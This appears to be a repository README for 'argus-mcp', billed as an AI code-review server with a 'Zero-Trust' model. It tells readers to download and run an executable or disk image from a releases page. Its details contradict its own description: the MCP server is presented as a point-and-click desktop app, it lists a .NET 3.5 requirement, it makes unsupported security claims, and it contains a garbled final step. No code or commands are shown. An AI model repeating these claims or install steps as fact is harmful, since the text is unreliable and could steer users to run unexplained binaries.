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argus-mcp

πŸ” Enhance code quality with Argus MCP, an AI-driven code review server using a Zero-Trust model for safe and efficient development.

Description

πŸ” Enhance code quality with Argus MCP, an AI-driven code review server using a Zero-Trust model for safe and efficient development.

README

πŸ› οΈ argus-mcp - Secure Code Reviews Made Easy

Download argus-mcp

πŸš€ Getting Started

argus-mcp is a powerful tool designed for AI-powered code reviews. It employs a Zero-Trust approach, ensuring your code stays secure while enhancing code quality. This tool supports multiple models and works seamlessly with Windsurf and Claude Desktop. Now, let's get you set up!

πŸ“‹ System Requirements

To run argus-mcp on your computer, ensure your system meets the following requirements:

  • Operating System: Windows 10 or higher, macOS Catalina or higher
  • Minimum RAM: 4 GB
  • Disk Space: At least 200 MB of free space
  • .NET Framework: Version 3.5 or higher (for Windows users)
  • Python: Version 3.8 or higher (for macOS users)

🌐 Features

  • Multi-Model Support: Use different AI models for reviewing your code.
  • Caching: This feature speeds up the review process.
  • Multilingual: Supports several programming languages, making it versatile.
  • Zero-Trust Approach: Your code security is our priority.

πŸ“₯ Download & Install

  1. Visit the Releases Page
    To download the latest version of argus-mcp, visit this page: Releases Page.

  2. Choose the Correct File
    On the releases page, look for the latest version. You will find several files available for download. Choose the file that matches your operating system.

  3. Download the Application
    Click on the file to start downloading. The download will take a few moments depending on your internet speed.

  4. Install argus-mcp

    • Windows: Double-click the downloaded .exe file. Follow the setup prompts to install the software.
    • macOS: Open the downloaded .dmg file. Drag and drop the argus-mcp icon into your Applications folder.
  5. Launch the Application
    After installation, find argus-mcp in your Applications or Start menu. Click to open it, and you are ready to start reviewing code!

πŸ”§ Configuration

To get argus-mcp customized to your needs, you may want to adjust some settings:

  • Language Preferences: Set your preferred programming languages for reviews.
  • Model Selection: Choose the AI model you want to use for code analysis.
  • Caching Settings: Adjust the cache settings based on your workflow.

Access these settings from the main menu once the application is open.

πŸ“š How to Use argus-mcp

Using argus-mcp is straightforward:

  1. Open a Project
    Start by opening your project folder in the application. This allows argus-mcp to access the files you want to review.

  2. Select the Code Files
    Choose the specific files or folders you want to analyze. You can select multiple files for a comprehensive review.

  3. Run a Review
    Click the β€˜Review Code’ button. The AI will analyze your code based on predefined quality metrics and return results.

  4. Review Suggestions
    Once the analysis is complete, you'll see a list of suggestions and improvements. These recommendations will help you enhance the quality of your code significantly.

  5. Make Changes
    Implement the suggested changes in your code files. Once done, rerun the review to see improvements.

❓ Frequently Asked Questions

What is argus-mcp?

argus-mcp is an AI code review server designed to improve code quality through automated suggestions.

How secure is argus-mcp?

argus-mcp follows a Zero-Trust approach, ensuring that your data remains secure.

Can I use argus-mcp on my mobile device?

Currently, argus-mcp is designed for desktop systems, and there is no mobile version available.

🀝 Community Support

If you encounter issues or have questions, you can seek help from the community. Visit the GitHub Discussions page or check the Issues section for support.

πŸ”— Additional Resources

  • Documentation: Comprehensive user guidelines are available in the Wiki.
  • Examples: Check provided code samples to understand best practices.

For further assistance, consider joining forums or user groups focused on AI coding tools.

🎯 Final Steps

  1. Confirm that you've installed differently based on your operating system.
  2. Start improving your code quality today!

For any updates, do not forget to visit the Releases Page again in the future for new features and improvements.

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found β€” using repo HEADHigh4/9/2026

Dependencies & License Audit

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